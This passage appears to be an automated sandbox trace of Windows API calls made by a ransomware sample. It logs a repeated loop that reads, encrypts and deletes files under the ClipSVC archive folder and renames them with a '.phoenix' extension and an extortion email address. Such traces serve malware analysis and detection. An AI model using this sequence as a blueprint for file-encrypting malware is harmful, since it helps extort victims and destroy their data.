	[0247.053] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc9d, lpOverlapped=0x0) returned 1
	[0247.064] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0, dwBufLen=0xca0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xca0) returned 1
	[0247.064] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xca0, lpOverlapped=0x0) returned 1
	[0247.065] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0247.065] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.065] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.065] CryptDestroyKey (hKey=0x151780) returned 1
	[0247.065] WriteFile (in: hFile=0x2c8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.065] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.065] CloseHandle (hObject=0x2f0) returned 1
	[0247.065] CloseHandle (hObject=0x2c8) returned 1
	[0247.065] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\cb692946-a9f3-639d-1064-a6d75a01b9c3.xml")) returned 1
	[0247.066] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.066] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.066] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3179) returned 1
	[0247.066] CloseHandle (hObject=0x2c8) returned 1
	[0247.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml")) returned 0x20
	[0247.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.067] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.067] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.067] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.067] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.067] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0247.067] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.067] ReadFile (in: hFile=0x2c8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc6b, lpOverlapped=0x0) returned 1
	[0247.094] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc70, dwBufLen=0xc70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc70) returned 1
	[0247.094] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc70, lpOverlapped=0x0) returned 1
	[0247.095] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0247.096] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.096] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.096] CryptDestroyKey (hKey=0x151180) returned 1
	[0247.096] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.096] CryptDestroyKey (hKey=0x151700) returned 1
	[0247.096] CloseHandle (hObject=0x2c8) returned 1
	[0247.096] CloseHandle (hObject=0x2f0) returned 1
	[0247.096] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d1ecfce2-f845-c1e9-052b-d2f457c135e6.xml")) returned 1
	[0247.097] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.097] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.097] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2766) returned 1
	[0247.097] CloseHandle (hObject=0x2f0) returned 1
	[0247.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml")) returned 0x20
	[0247.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.097] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.098] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.098] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.098] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.108] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0247.108] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.108] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xace, lpOverlapped=0x0) returned 1
	[0247.117] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xad0, dwBufLen=0xad0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xad0) returned 1
	[0247.118] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xad0, lpOverlapped=0x0) returned 1
	[0247.119] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1516c0) returned 1
	[0247.119] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.119] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.119] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0247.119] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.119] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.119] CloseHandle (hObject=0x2f0) returned 1
	[0247.119] CloseHandle (hObject=0x2b0) returned 1
	[0247.119] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\d508ba05-d8aa-2836-484d-3833d22fe185.xml")) returned 1
	[0247.120] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.120] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.121] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2642) returned 1
	[0247.121] CloseHandle (hObject=0x2b0) returned 1
	[0247.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml")) returned 0x20
	[0247.121] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.121] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.121] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.121] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.122] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0247.122] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.122] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa52, lpOverlapped=0x0) returned 1
	[0247.135] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa60, dwBufLen=0xa60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa60) returned 1
	[0247.135] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xa60, lpOverlapped=0x0) returned 1
	[0247.138] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0247.138] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.138] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.138] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.138] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.138] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.138] CloseHandle (hObject=0x2b0) returned 1
	[0247.138] CloseHandle (hObject=0x2f0) returned 1
	[0247.141] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e2a686b1-b02a-b3e7-90cb-3fa0d708ce04.xml")) returned 1
	[0247.146] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.146] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.171] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3190) returned 1
	[0247.171] CloseHandle (hObject=0x2c4) returned 1
	[0247.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml")) returned 0x20
	[0247.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.171] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.171] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.171] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.171] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.177] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0247.177] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.177] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xc76, lpOverlapped=0x0) returned 1
	[0247.207] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80, dwBufLen=0xc80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc80) returned 1
	[0247.207] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xc80, lpOverlapped=0x0) returned 1
	[0247.209] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0247.209] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.209] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0247.209] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.209] WriteFile (in: hFile=0x2d8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0247.209] CryptDestroyKey (hKey=0x151700) returned 1
	[0247.209] CloseHandle (hObject=0x2c4) returned 1
	[0247.209] CloseHandle (hObject=0x2d8) returned 1
	[0247.209] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e335baf1-18ab-73fe-e089-3fa0a6e71a35.xml")) returned 1
	[0247.210] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.210] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.210] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2641) returned 1
	[0247.210] CloseHandle (hObject=0x2d8) returned 1
	[0247.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml")) returned 0x20
	[0247.211] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.211] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.211] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.211] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.211] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\e64ffef1-e246-b632-595b-56076a3fa776.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
